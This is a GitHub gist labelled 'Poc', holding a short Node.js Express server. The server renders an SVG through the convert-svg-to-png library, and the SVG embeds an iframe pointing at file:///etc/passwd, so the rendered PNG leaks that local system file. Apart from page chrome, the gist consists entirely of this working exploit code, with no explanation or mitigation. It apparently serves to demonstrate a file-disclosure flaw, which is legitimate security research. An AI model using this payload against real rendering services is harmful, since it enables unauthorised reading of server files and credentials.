/payload.svg Secret
Last active
May 19, 2022 14:32
Poc
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { convert } = require('convert-svg-to-png'); | |
const express = require('express'); | |
const fileSvg = `<svg-dummy></svg-dummy> | |
<iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe> | |
<svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"> | |
<text x="0" y="0" class="Rrrrr" id="demo">data</text> | |
</svg>`; | |
const app = express(); | |
app.get('/poc', async (req, res)=>{ | |
try { | |
const png = await convert(fileSvg); | |
res.set('Content-Type', 'image/png'); | |
res.send(png); | |
} catch (e) { | |
res.send("") | |
} | |
}) | |
app.listen(3000, ()=>{ | |
console.log('started'); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment